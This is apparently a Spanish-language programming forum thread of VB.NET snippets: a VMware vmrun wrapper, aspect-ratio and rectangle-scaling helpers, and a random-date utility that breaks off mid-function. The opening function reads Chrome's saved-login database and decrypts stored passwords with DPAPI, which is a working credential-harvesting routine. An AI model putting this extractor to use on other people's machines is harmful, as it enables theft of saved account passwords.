Optional ByVal defaultIfPasswordUndecryptable As String = ""
) As IEnumerable(Of NetworkCredential)
Return GetGoogleChromeLogins(loginDataFile.FullName, defaultIfUsernameEmpty, defaultIfPasswordEmpty, defaultIfPasswordUndecryptable)
End Function''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the Google Chrome logins stored for the current user.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim loginDataPath As String = "C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Login Data"
''' Dim logins As IEnumerable(Of NetworkCredential) =
''' From login As NetworkCredential In
''' GetGoogleChromeLogins(loginDataPath, "_NULL_", "_NULL_", "_UNDECRYPTABLE_")
''' Order By login.Domain Ascending
'''
''' For Each login As NetworkCredential In logins
''' Console.WriteLine("{0}; {1}; {2}", login.Domain, login.UserName, login.Password)
''' Next login
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="loginDataPath">
''' The full path to "Logins Data" file that stores the user logins.
''' <para></para>
''' This file is typically located at: 'C:\Users\{USERNAME}\AppData\Local\Google\Chrome\User Data\Default'.
''' </param>
'''
''' <param name="defaultIfUsernameEmpty">
''' A default value to assign for an empty username.
''' </param>
'''
''' <param name="defaultIfPasswordEmpty">
''' A default value to assign for an empty password.
''' </param>
'''
''' <param name="defaultIfPasswordUndecryptable">
''' A default value to assign for a undecryptable password.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' A <see cref="IEnumerable(Of NetworkCredential)"/> containing the user logins.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepperBoundary>
Public Shared Iterator Function GetGoogleChromeLogins(ByVal loginDataPath As String,
Optional ByVal defaultIfUsernameEmpty As String = "",
Optional ByVal defaultIfPasswordEmpty As String = "",
Optional ByVal defaultIfPasswordUndecryptable As String = ""
) As IEnumerable(Of NetworkCredential)
Dim sqlConnectionString As String = String.Format("data source={0};New=True;UseUTF16Encoding=True", loginDataPath)
Dim sqlCommandText As String = "SELECT origin_url, username_value, password_value FROM 'logins'"
Dim textEncoding As New UTF8Encoding(encoderShouldEmitUTF8Identifier:=True)
Using dt As New DataTable(),
sqlConnection As New SQLiteConnection(sqlConnectionString),
sqlCommand As New SQLiteCommand(sqlCommandText, sqlConnection),
sqlAdapter As New SQLiteDataAdapter(sqlCommand)
sqlAdapter.Fill(dt)
For Each row As DataRow In dt.Rows
Dim domain As String = row("origin_url")
Dim userName As String = row("username_value")
If String.IsNullOrEmpty(userName) Then
userName = defaultIfUsernameEmpty
End If
Dim passwordEncrypted As Byte() = DirectCast(row("password_value"), Byte())
Dim passwordDecrypted As Byte()
Dim passwordString As String = String.Empty
Try
passwordDecrypted = ProtectedData.Unprotect(passwordEncrypted, Nothing, DataProtectionScope.CurrentUser)
passwordString = textEncoding.GetString(passwordDecrypted)
Catch ex As CryptographicException When (ex.HResult = -2146893813) ' Key not valid for use in specified state.
' This means the current user can't decrypt the encrypted data,
' because the encryption key was derived using a different user credential.
passwordString = defaultIfPasswordUndecryptable
Catch ex As Exception
Throw
Finally
If String.IsNullOrEmpty(passwordString) Then
passwordString = defaultIfPasswordEmpty
End If
End Try
Yield New NetworkCredential(userName, passwordString, domain)
Next row
End Using
End FunctionEjemplo de uso:
Dim loginDataPath As String = "C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Login Data"
Dim logins As IEnumerable(Of NetworkCredential) =
From login As NetworkCredential In
GetGoogleChromeLogins(loginDataPath, "", "", "_UNDECRYPTABLE_")
Order By login.Domain Ascending
For Each login As NetworkCredential In logins
Console.WriteLine("{0}; {1}; {2}", login.Domain, login.UserName, login.Password)
Next loginEjemplo de salida del programa... ya se lo pueden imaginar:
Citarchrome://wmn/accounts/gmail; UserName; Password
chrome://wmn/accounts/hotmail; UserName; Password
http://foro.elhacker.net/; UserName; Password
http://forum.doom9.org/; UserName; Password
http://forum.soundarea.org/; UserName; Password
http://forums.nvidia.com/; UserName; Password
...
Saludos!.
¿Cómo interoperar entre el sistema operativo huésped de una máquina virtual de VMWare, y el sistema operativo anfitrión?.Me encargaron un trabajo que consistia en diseñar una GUI para monitorizar máquinas virtuales de VMWare y realizar ciertas cosas dentro de cada sistema operativo huésped, y... bueno, aunque ni por asomo tenía la obligación de currármelo tanto como vereis a continuacion, pero ya sabeis que siempre que me gusta una idea intento implementarla de forma sofisticada (dentro de mis capacidades) y reutilizable para el futuro, me gusta hacer las cosas lo mejor posible (repito, dentro de mis capacidades), y esto es lo que acabé haciendo...
Este sistema o implementación depende del programa command-line
vmrun.exe de VMWare, de otra forma sería practicamente inviable hacer esto ya sea en .NET o en un lenguaje de bajo nivel sin pasar meses o años de dedicación en el estudio e investigación; vmrun nos facilitará por completo la tarea de identificar las máquinas virtuales de VMWare que están en ejecución en el sistema operativo anfitrión, y realizar operaciones de I/O en las mismas, como copiar archivos del S.O. anfitrión al huésped o viceversa, enviar pulsaciones del teclado (o mejor dicho enviar cadenas de texto), o ejecutar programas y scripts, tomar capturas de pantalla, o administrar las carpetas compartidas y las imágenes (snapshots) de la VM, entre otras cosas. Implementé casi todas las funcionalidades de vmrun.
Como único inconveniente debo aclarar que este sistema no soporta máquinas virtuales compartidas (esas que podemos colocar en el directorio del usuario público como recurso compartido de red), y esta limitación es simplemente por pura ignorancia, ya que no he logrado averiguar la sintaxis correcta de vmrun para indicarle que el host es LOCALHOST, siempre que lo intento (ej. vmrun.exe -T ws-shared -h LOCALHOST ... ) el programa me dice que no ha logrado conectar con el servidor xD, así que si alguien sabe cual es la sintaxis le agradecería que me lo dijese para poder adaptar y mejorar este código.
Aquí lo tenen todo:
GuestOsCredential.vb''' <summary>
''' Represents the username/password login data for the running guest operating system of a VMWare's virtual machine.
''' </summary>
Public NotInheritable Class GuestOsCredential
#Region " Properties "
''' <summary>
''' Gets or sets the account username.
''' </summary>
Public Property Username As String
''' <summary>
''' Gets or sets the account password.
''' </summary>
Public Property Password As String
#End Region
#Region " Constructors "
''' <summary>
''' Initializes a new instance of the <see cref="GuestOsCredential"/> class.
''' </summary>
Public Sub New()
End Sub
#End Region
End ClassVmRunProgramFlags.vb''' <summary>
''' Specifies the behavior of a program that is executed by VMWare's vmrun.exe application.
''' </summary>
<Flags>
Public Enum VmRunProgramFlags
''' <summary>
''' Run the program using the default behavior.
''' </summary>
None = 1
''' <summary>
''' Returns a prompt immediately after the program starts in the guest operating system, rather than waiting for it to finish.
''' <para></para>
''' This option is useful for interactive programs.
''' </summary>
NoWait = 2
''' <summary>
''' Ensures that the program window is visible, not minimized, in the guest operating system.
''' <para></para>
''' This option has no effect on Linux.
''' </summary>
ActiveWindow = 4
''' <summary>
''' Forces interactive guest login.
''' <para></para>
''' This option is useful for Windows VISTA guests to make the program visible in he console window.
''' </summary>
Interactive = 8
End EnumVmRunException.vb''' <summary>
''' The exception that Is thrown When a call to VMWare's vmrun.exe application exits with an error.
''' </summary>
<Serializable>
<XmlRoot(NameOf(VmRunException))>
<ImmutableObject(True)>
Public NotInheritable Class VmRunException : Inherits Exception
#Region " Properties "
''' <summary>
''' Gets the exit code of VMWare's vmrun.exe application.
''' </summary>
Public ReadOnly Property ExitCode As Integer
#End Region
#Region " Constructors "
''' <summary>
''' Prevents a default instance of the <see cref="VmRunException"/> class from being created.
''' </summary>
Private Sub New()
End Sub
''' <summary>
''' Initializes a new instance of the System.Exception class with a specified error message.
''' </summary>
''' <param name="message">
''' The message that describes the error.
''' </param>
<DebuggerNonUserCode>
<EditorBrowsable(EditorBrowsableState.Never)>
Private Sub New(ByVal message As String)
MyBase.New(message)
End Sub
''' <summary>
''' Initializes a new instance of the System.Exception class with a specified error message
''' and a reference to the inner exception that is the cause of this exception.
''' </summary>
''' <param name="message">
''' The message that describes the error.
''' </param>
'''
''' <param name="innerException">
''' The exception that is the cause of the current exception,
''' or <see langword="Nothing"/> if no inner exception is specified.
''' </param>
<DebuggerNonUserCode>
<EditorBrowsable(EditorBrowsableState.Never)>
Private Sub New(ByVal message As String, ByVal innerException As Exception)
MyBase.New(message, innerException)
End Sub
''' <summary>
''' Initializes a new instance of the System.Exception class with a specified error message and exit code.
''' </summary>
''' <param name="message">
''' The error message thrown by VMWare's vmrun.exe application.
''' </param>
'''
''' <param name="exitCode">
''' The exit code of VMWare's vmrun.exe application
''' </param>
Public Sub New(ByVal message As String, ByVal exitCode As Integer)
MyBase.New(message)
Me.ExitCode = exitCode
End Sub
#End Region
End ClassVmSharedFolderInfo.vb''' <summary>
''' Represents a shared folder of a VMWare's virtual machine.
''' </summary>
Public NotInheritable Class VmSharedFolderInfo
#Region " Properties "
''' <summary>
''' Gets or sets the share name.
''' </summary>
Public Property Name As String
''' <summary>
''' Gets or sets the shared directory on host operating system.
''' </summary>
Public Property HostDirectory As DirectoryInfo
''' <summary>
''' Gets or sets a value that determine whether this shared folder is enabled.
''' </summary>
Public Property Enabled As Boolean
''' <summary>
''' Gets or sets a value that determine whether this shared folder allows read access.
''' </summary>
Public Property ReadAccess As Boolean
''' <summary>
''' Gets or sets a value that determine whether this shared folder allows write access.
''' </summary>
Public Property WriteAccess As Boolean
''' <summary>
''' Gets or sets the expiration time of this shared folder.
''' </summary>
Public Property Expiration As String
#End Region
#Region " Constructors "
''' <summary>
''' Initializes a new instance of the <see cref="VmSharedFolderInfo"/> class.
''' </summary>
Public Sub New()
End Sub
#End Region
End ClassVMWareVirtualMachine.vb
''' <summary>
''' Represents a VMWare Virtual Machine.
''' </summary>
Public NotInheritable Class VMWareVirtualMachine
#Region " Properties "
''' <summary>
''' Gets .vmx file of this VM.
''' </summary>
Public ReadOnly Property VmxFile As FileInfo
''' <summary>
''' Gets or sets the username and password of the running user-account in the guest operating system of this VM.
''' <para></para>
''' The credential is required to perform some I/O operations with VMWare's vmrun.exe program.
''' So you must set this credential before using vmrun.exe.
''' </summary>
Public Property GuestOsCredential As GuestOsCredential
''' <summary>
''' Gets a value that determine whether this VM is a shared VM.
''' </summary>
Public ReadOnly Property IsSharedVm As Boolean
''' <summary>
''' Gets the display name of this VM.
''' </summary>
Public ReadOnly Property DisplayName As String
Get
Return Me.displayNameB
End Get
End Property
''' <summary>
''' ( Backing Fields )
''' <para></para>
''' Gets the display name of this VM.
''' </summary>
Private displayNameB As String
''' <summary>
''' Gets the version of the guest operating system of this VM.
''' </summary>
Public ReadOnly Property OsVersion As String
Get
Return Me.osVersionB
End Get
End Property
''' <summary>
''' ( Backing Fields )
''' <para></para>
''' Gets the version of the guest operating system of this VM.
''' </summary>
Private osVersionB As String
''' <summary>
''' Gets the firmware type of this VM. It can be: BIOS, or UEFI.
''' </summary>
Public ReadOnly Property Firmware As String
Get
Return Me.firmwareB
End Get
End Property
''' <summary>
''' ( Backing Fields )
''' <para></para>
''' Gets the firmware type of this VM. It can be: BIOS, or UEFI.
''' </summary>
Private firmwareB As String
''' <summary>
''' Gets a value that determine whether secureboot is enabled for UEFI firmware mode.
''' </summary>
Public ReadOnly Property SecureBootEnabled As Boolean
Get
Return Me.secureBootEnabledB
End Get
End Property
''' <summary>
''' ( Backing Fields )
''' <para></para>
''' Gets a value that determine whether secureboot is enabled for UEFI firmware mode.
''' </summary>
Private secureBootEnabledB As Boolean
''' <summary>
''' Gets the hardware version of this VM.
''' </summary>
''' <remarks>
''' See for more info about virtual machine hardware versions: <see href="https://kb.vmware.com/s/article/1003746"/>
''' </remarks>
Public ReadOnly Property VmHardwareVersion As Integer
Get
Return Me.vmHardwareVersionB
End Get
End Property
''' <summary>
''' ( Backing Fields )
''' <para></para>
''' Gets the hardware version of this VM.
''' </summary>
Private vmHardwareVersionB As Integer
''' <summary>
''' Gets the total memory size of this VM, in megabytes.
''' </summary>
Public ReadOnly Property MemorySize As Integer
Get
Return Me.memorySizeB
End Get
End Property
''' <summary>
''' ( Backing Fields )
''' <para></para>
''' Gets the total memory size of this VM, in megabytes.
''' </summary>
Private memorySizeB As Integer
''' <summary>
''' Gets the total graphics memory size of this VM, in megabytes.
''' </summary>
Public ReadOnly Property GraphicsMemorySize As Integer
Get
Return Me.graphicsMemorySizeB
End Get
End Property
''' <summary>
''' ( Backing Fields )
''' <para></para>
''' Gets the total graphics memory size of this VM, in megabytes.
''' </summary>
Private graphicsMemorySizeB As Integer
''' <summary>
''' Gets a value that determine whether 3D graphics hardware acceleration is enabled in this VM.
''' </summary>
Public ReadOnly Property GraphicsHardwareAccelerationEnabled As Boolean
Get
Return Me.graphicsHardwareAccelerationEnabledB
End Get
End Property
''' <summary>
''' ( Backing Fields )
''' <para></para>
''' Gets a value that determine whether 3D graphics hardware acceleration is enabled in this VM.
''' </summary>
Private graphicsHardwareAccelerationEnabledB As Boolean
''' <summary>
''' Gets the amount of processor cores of this VM.
''' </summary>
Public ReadOnly Property TotalProcessorCores As Integer
Get
Return Me.totalProcessorCoresB
End Get
End Property
''' <summary>
''' ( Backing Fields )
''' <para></para>
''' Gets the amount of processor cores of this VM.
''' </summary>
Private totalProcessorCoresB As Integer
''' <summary>
''' Gets the amount of cores per processor of this VM.
''' </summary>
Public ReadOnly Property CoresPerProcessor As Integer
Get
Return Me.coresPerProcessorB
End Get
End Property
''' <summary>
''' ( Backing Fields )
''' <para></para>
''' Gets the amount of cores per processor of this VM.
''' </summary>
Private coresPerProcessorB As Integer
''' <summary>
''' Gets the amount of processors of this VM.
''' <para></para>
''' The resulting value is the division between <see cref="VMWareVirtualMachine.TotalProcessorCores"/> \ <see cref="VMWareVirtualMachine.CoresPerProcessor"/>.
''' </summary>
Public ReadOnly Property ProcessorCount As Integer
Get
Return (Me.TotalProcessorCores \ Me.CoresPerProcessor)
End Get
End Property
''' <summary>
''' Gets the shared folders of this VM.
''' </summary>
Public ReadOnly Property SharedFolders As ReadOnlyCollection(Of VmSharedFolderInfo)
Get
Return Me.sharedFoldersB
End Get
End Property
''' <summary>
''' ( Backing Fields )
''' <para></para>
''' Gets the shared folders of this VM.
''' </summary>
Private sharedFoldersB As ReadOnlyCollection(Of VmSharedFolderInfo)
#End Region
#Region " Constructors "
''' <summary>
''' Prevents a default instance of the <see cref="VMWareVirtualMachine"/> class from being created.
''' </summary>
Private Sub New()
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="VMWareVirtualMachine"/> class.
''' </summary>
''' <param name="vmxFilePath">
''' The full path to the .vmx file.
''' </param>
'''
''' <param name="isSharedVm">
''' A value that determine whether the VM is a shared VM.
''' </param>
Public Sub New(ByVal vmxFilePath As String, ByVal isSharedVm As Boolean)
Me.VmxFile = New FileInfo(vmxFilePath)
Me.IsSharedVm = isSharedVm
Me.GuestOsCredential = New GuestOsCredential()
Me.Refresh()
End Sub
#End Region
#Region " Public Methods "
''' <summary>
''' Refresh the state (the properties) of this <see cref="VMWareVirtualMachine"/>.
''' </summary>
''' <exception cref="FileNotFoundException">
''' .vmx file not found.
''' </exception>
Public Sub Refresh()
If Not (Me.VmxFile.Exists) Then
Throw New FileNotFoundException(".vmx file not found.", Me.VmxFile.FullName)
End If
Me.VmxFile.Refresh()
Dim sharedFoldersDict As New Dictionary(Of String, VmSharedFolderInfo)
Using sr As StreamReader = Me.VmxFile.OpenText()
Dim line As String
Do Until sr.EndOfStream
line = sr.ReadLine().Trim()
Select Case True
Case line.ToLower().StartsWith("displayname")
Me.displayNameB = line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote})
Case line.ToLower().StartsWith("firmware")
Me.firmwareB = line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote})
Case line.ToLower().StartsWith("guestos")
Me.osVersionB = line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote})
Case line.ToLower().StartsWith("memsize")
Me.memorySizeB = CInt(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
Case line.ToLower().StartsWith("numvcpus")
Me.totalProcessorCoresB = CInt(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
Case line.ToLower().StartsWith("cpuid.corespersocket")
Me.coresPerProcessorB = CInt(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
Case line.ToLower().StartsWith("svga.graphicsmemorykb")
Me.graphicsMemorySizeB = (CInt(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote})) \ 1000)
Case line.ToLower().StartsWith("virtualhw.version")
Me.vmHardwareVersionB = CInt(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
Case line.ToLower().StartsWith("uefi.secureboot.enabled")
Me.secureBootEnabledB = Boolean.Parse(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
Case line.ToLower().StartsWith("mks.enable3d")
Me.graphicsHardwareAccelerationEnabledB = Boolean.Parse(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
Case line.ToLower() Like "sharedfolder#*.?*"
Me.ParseSharedFolderLine(line, sharedFoldersDict)
End Select
Loop
End Using
Me.sharedFoldersB = New ReadOnlyCollection(Of VmSharedFolderInfo)(sharedFoldersDict.Values.ToArray())
sharedFoldersDict.Clear()
End Sub
#End Region
#Region " Private Methods "
''' <summary>
''' Parses a line of the .vmx file that contains a shared folder field and value.
''' </summary>
''' <param name="line">
''' The line to parse.
''' </param>
'''
''' <param name="refSharedFoldersDict">
''' A <see cref="Dictionary(Of String, SharedFolderInfo)"/> that will be used to set the corresponding <see cref="VmSharedFolderInfo"/> member.
''' </param>
Private Sub ParseSharedFolderLine(ByVal line As String, ByRef refSharedFoldersDict As Dictionary(Of String, VmSharedFolderInfo))
Dim key As String = line.ToLower().Substring(0, line.IndexOf("."c))
If Not refSharedFoldersDict.ContainsKey(key) Then
refSharedFoldersDict.Add(key, New VmSharedFolderInfo())
End If
Select Case True
Case line.ToLower() Like "sharedfolder#*.enabled*"
refSharedFoldersDict(key).Enabled = Boolean.Parse(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
Case line.ToLower() Like "sharedfolder#*.expiration*"
refSharedFoldersDict(key).Expiration = line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote})
Case line.ToLower() Like "sharedfolder#*.guestname*"
refSharedFoldersDict(key).Name = line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote})
Case line.ToLower() Like "sharedfolder#*.hostpath*"
refSharedFoldersDict(key).HostDirectory = New DirectoryInfo(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
Case line.ToLower() Like "sharedfolder#*.readaccess*"
refSharedFoldersDict(key).ReadAccess = Boolean.Parse(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
Case line.ToLower() Like "sharedfolder#*.writeaccess*"
refSharedFoldersDict(key).WriteAccess = Boolean.Parse(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
End Select
End Sub
#End Region
End ClassEl código es demasiado largo como para poder insertarlo en este post, así que les dejo un enlace a pastebin...
https://pastebin.com/AWieMiSGCódigo mejorado con funciones asincrónicas:
https://pastebin.com/EXS0MQRRUn pequeño fallo de formato de sintaxis ha sido corregido en el método "InstallVmWareTools":
- https://pastebin.com/F2mSNq6g
Un ejemplo de uso cualquiera:
'***********************************************************************************************************************************
'
'This is a code example that demonstrates how to get the running virtual machines, then run a program on each guest operating system.
'
'***********************************************************************************************************************************
Private vmRun As VmRunWrapper
Private Async Sub Test()
Me.vmRun = New VmRunWrapper("C:\Program Files (x86)\VMWare\VMware VIX\vmrun.exe")
Dim vmCount As Integer = Await Me.vmRun.GetRunningVmCountAsync()
If (vmCount > 0) Then
Dim vms As ReadOnlyCollection(Of VMWareVirtualMachine) = Await Me.vmRun.GetRunningVmsAsync()
For Each vm As VMWareVirtualMachine In vms
' Check whether VMWare-Tools are installed in the VM.
' The VmWare-Tools are required by some of the functionalities of vmrun.exe program.
Dim isVMWareToolsInstalled As Boolean = Await Me.vmRun.IsVmWareToolsInstalledAsync(vm)
Console.WriteLine("VM Name: {0}; IsVMWareToolsInstalled: {1}'", vm.DisplayName, isVMWareToolsInstalled)
If Not isVMWareToolsInstalled Then
Me.vmRun.InstallVmWareTools(vm)
Continue For
End If
' A valid guest username and password (if any) is required in order to use some of the functionalities of vmrun.exe program.
vm.GuestOsCredential.Username = "guest username"
vm.GuestOsCredential.Password = "guest password"
Try
' Run a random program on the guest operating system.
Me.vmRun.ProcessRun(vm, "C:\program.exe", VmRunProgramFlags.NoWait Or VmRunProgramFlags.ActiveWindow Or VmRunProgramFlags.Interactive, "")
Catch ex As VmRunException
Throw
Catch ex As Exception
Throw
End Try
Next
End If
End Sub
Hello, @Electro Actually i saw your works and i was very impressed and i want you to take part in a project based on vb.net and c#, It will be a pleasure if you give me maybe your Whatsapp or Skype contact so we can talk more, I have private message you can check your inbox
Cita de: Eleкtro en 8 Mayo 2018, 14:25 PM
¿Cómo interoperar entre el sistema operativo huésped de una máquina virtual de VMWare, y el sistema operativo anfitrión?.
...
Como único inconveniente debo aclarar que este sistema no soporta máquinas virtuales compartidas (esas que podemos colocar en el directorio del usuario público como recurso compartido de red), y esta limitación es simplemente por pura ignorancia, ya que no he logrado averiguar la sintaxis correcta de vmrun para indicarle que el host es LOCALHOST, siempre que lo intento (ej. vmrun.exe -T ws-shared -h LOCALHOST ... ) el programa me dice que no ha logrado conectar con el servidor xD, así que si alguien sabe cual es la sintaxis le agradecería que me lo dijese para poder adaptar y mejorar este código.
...
Una búsqeuda rápida me ofrece este pdf, que puede servirte... (no lo he descargado).
https://www.vmware.com/support/developer/vix-api/vix170_vmrun_command.pdf
Cita de: NEBIRE en 9 Mayo 2018, 01:47 AMUna búsqeuda rápida me ofrece este pdf, que puede servirte... (no lo he descargado).
https://www.vmware.com/support/developer/vix-api/vix170_vmrun_command.pdf
Gracias @NEBIRE, pero te puedes imaginar que yo también estuve buscando y encontré el mismo PDF en Google :P, lamentablemente no me ayudó.
Gracias de nuevo.
TL;DR (Too Long; Didn't Don't Read):Por cierto, quiero aclarar que no suelo apoyar nunca el hecho de depender en el uso de aplicaciones command-line, considero que el auténtico reto sería crear un wrapper de la librería nativa vix.dll en .NET, pero a ver quien tiene los c@jones de hacerlo... con la inmensa cantidad de miembros y funciones exportadas a implementar que tiene, y teniendo en cuenta que en cada release de VMWare modifican cosas y quedan algunos miembros obsoletos y otros nuevos, o que reemplacen la librería por una nueva donde la anterior queda completamente inservible (como sucedió con vixcom.dll). Sería un trabajo en vano, una absurda pérdida de tiempo.
Nah, mucho más viable, seguro y estable es recurrir al uso del programita/wrapper
vmrun.exe, que aunque inevitablemente sea bastante más lento en términos de tiempo de ejecución (puesto que es un executable), al menos su estructura "no cambia" con el tiempo, por que ya se encargan los de VMWare de adaptar el programa para que funcione (obvio) con los nuevos cambios que introduzcan a la librería vix.dll, y nosotros como usuarios o programadores en el peor de los casos solo necesitariamos hacer un par de adaptaciones en la sintaxis de los argumentos a enviar a vmrun.exe y todo listo para funcionar con nuevas releases de VMWare.
Claro que, para los que puedan programar diréctamente en C/C++ ya sería otro cantar... aunque seguiría siendo bastante tedioso usar la librería (no hay más que mirar los samples de código que provee VMWare en el directorios de la API de VIX, 200 lineas de código solo para ejecutar una operación de encendido y/o apagado de la VM), pero bueno, programando en C/C++ supongo que sería más aceptable usar la librería vix.dll en lugar de usar vmrun.exe, supongo.
saludos!
Determinar si un tamaño/resolución pertenece a una relación de aspecto específica.
No creo que haya nada que añadir a la descripción. Solo diré que la utilidad que le encuentro a esto personálmente es para realizar con mayor seguridad en operaciones de captura de imagen en ventanas externas (para evitar posibles fallos humanos de especificar una resolución incorrecta).
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Determine whether the source resolution belongs to the specified aspect ratio.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="resolution">
''' The source resolution.
''' </param>
'''
''' <param name="aspectRatio">
''' The aspect ratio.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <see langword="True"/> if the source resolution belongs to the specified aspect ratio; otherwise, <see langword="False"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Function ResolutionIsOfAspectRatio(ByVal resolution As Size, ByVal aspectRatio As Point) As Boolean
Return (resolution.Width / aspectRatio.X) * aspectRatio.Y = resolution.Height
End Function
Ejemplo de uso:
Dim resolution As New Size(width:=1920, height:=1080)
Dim aspectRatio As New Point(x:=16, y:=9)
Dim result As Boolean = ResolutionIsOfAspectRatio(resolution, aspectRatio)
Console.WriteLine(result)
Escalar/Adaptar la posición y tamaño de un Rectangle, según el factor de porcentage resultante entre la diferencia de dos tamaños.
Para que lo entiendan mejor:
Imaginemos que tenemos un Rectangle con posición (X,Y): 100,100 y tamaño (width,height): 100,100, y esos valores han sido especificados así para ser usado sobre una superficie de 800x600. Por ejemplo podemos decir que se trata de un Rectangle que sirve para capturar una porción específica de una ventana que tenga ese tamaño, 800x600.
Pues bien, lo que hace esta función es adaptar la posición y el tamaño de ese Rectangle, a un tamaño/superficie diferente, por ejemplo adaptarlo de 800x600 a 1024x1024.
Espero que se haya entendido bien, de todas formas abajo les dejo un ejemplo de como usarlo...
Public Module RectangleExtensions
#Region " Public Extension Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Scale the size and position of the source <see cref="Rectangle"/>
''' by the difference of the specified sizes.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source <see cref="Rectangle"/>.
''' </param>
'''
''' <param name="fromSize">
''' The source <see cref="Size"/>.
''' </param>
'''
''' <param name="toSize">
''' The target <see cref="Size"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="Rectangle"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<Extension>
<EditorBrowsable(EditorBrowsableState.Always)>
Public Function ScaleBySizeDifference(ByVal sender As Rectangle,
ByVal fromSize As Size,
ByVal toSize As Size) As Rectangle
Dim percentChangeX As Double = (toSize.Width / fromSize.Width)
Dim percentChangeY As Double = (toSize.Height / fromSize.Height)
Return New Rectangle With {
.X = CInt(sender.X * percentChangeX),
.Y = CInt(sender.Y * percentChangeY),
.Width = CInt(sender.Width * percentChangeX),
.Height = CInt(sender.Height * percentChangeY)
}
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Scale the size and position of the source <see cref="RectangleF"/>
''' by the difference of the specified sizes.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source <see cref="RectangleF"/>.
''' </param>
'''
''' <param name="fromSize">
''' The source <see cref="SizeF"/>.
''' </param>
'''
''' <param name="toSize">
''' The target <see cref="SizeF"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="RectangleF"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<Extension>
<EditorBrowsable(EditorBrowsableState.Always)>
Public Function ScaleBySizeDifference(ByVal sender As RectangleF,
ByVal fromSize As SizeF,
ByVal toSize As SizeF) As RectangleF
Dim percentChangeX As Double = (toSize.Width / fromSize.Width)
Dim percentChangeY As Double = (toSize.Height / fromSize.Height)
Return New RectangleF With {
.X = CSng(sender.X * percentChangeX),
.Y = CSng(sender.Y * percentChangeY),
.Width = CSng(sender.Width * percentChangeX),
.Height = CSng(sender.Height * percentChangeY)
}
End Function
#End Region
End Module
Ejemplo de uso:
Dim oldSize As New Size(640, 480)
Dim oldRect As New Rectangle(New Point(100, 100), New Size(639, 479))
Dim newSize As New Size(800, 600)
Dim newRect As Rectangle = ScaleBySizeDifference(oldRect, oldSize, newSize)
Console.WriteLine(String.Format("oldRect: {0}", oldRect.ToString())) ' {X=100,Y=100,Width=639,Height=479}
Console.WriteLine(String.Format("newRect: {0}", newRect.ToString())) ' {X=125,Y=125,Width=798,Height=598}
Saludos.
GENERAR UNA FECHA ALEATORIA, EN UN RANGO ESPECÍFICO.
Sencillos pero prácticos miembros para generar fechas aleatorias. Le encontrarán alguna utilidad.
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Contains date and time related utilities.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<ImmutableObject(True)>
Public NotInheritable Class DateTimeUtil
#Region " Private Fields "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' A <see cref="Random"/> instance to generate random secuences of numbers.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private Shared rng As Random
#End Region
#Region " Constructors "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Prevents a default instance of the <see cref="DateTimeUtil"/> class from being created.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DebuggerNonUserCode>
Private Sub New()
End Sub
#End Region
#Region " Public Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets a random <see cref="Date"/> in range between the specified two dates.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim minDate As Date = Date.MinValue
''' Dim maxDate As Date = Date.MaxValue
''' Dim ramdomDate As Date = GetRandomDateTime(minDate, maxDate)
'''
''' Console.WriteLine(randomDate.ToString())
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="dateMin">
''' The minimum <see cref="Date"/>.
''' </param>
'''
''' <param name="dateMax">
''' The maximum <see cref="Date"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="Date"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetRandomDateTime(ByVal dateMin As Date, ByVal dateMax As Date) As Date
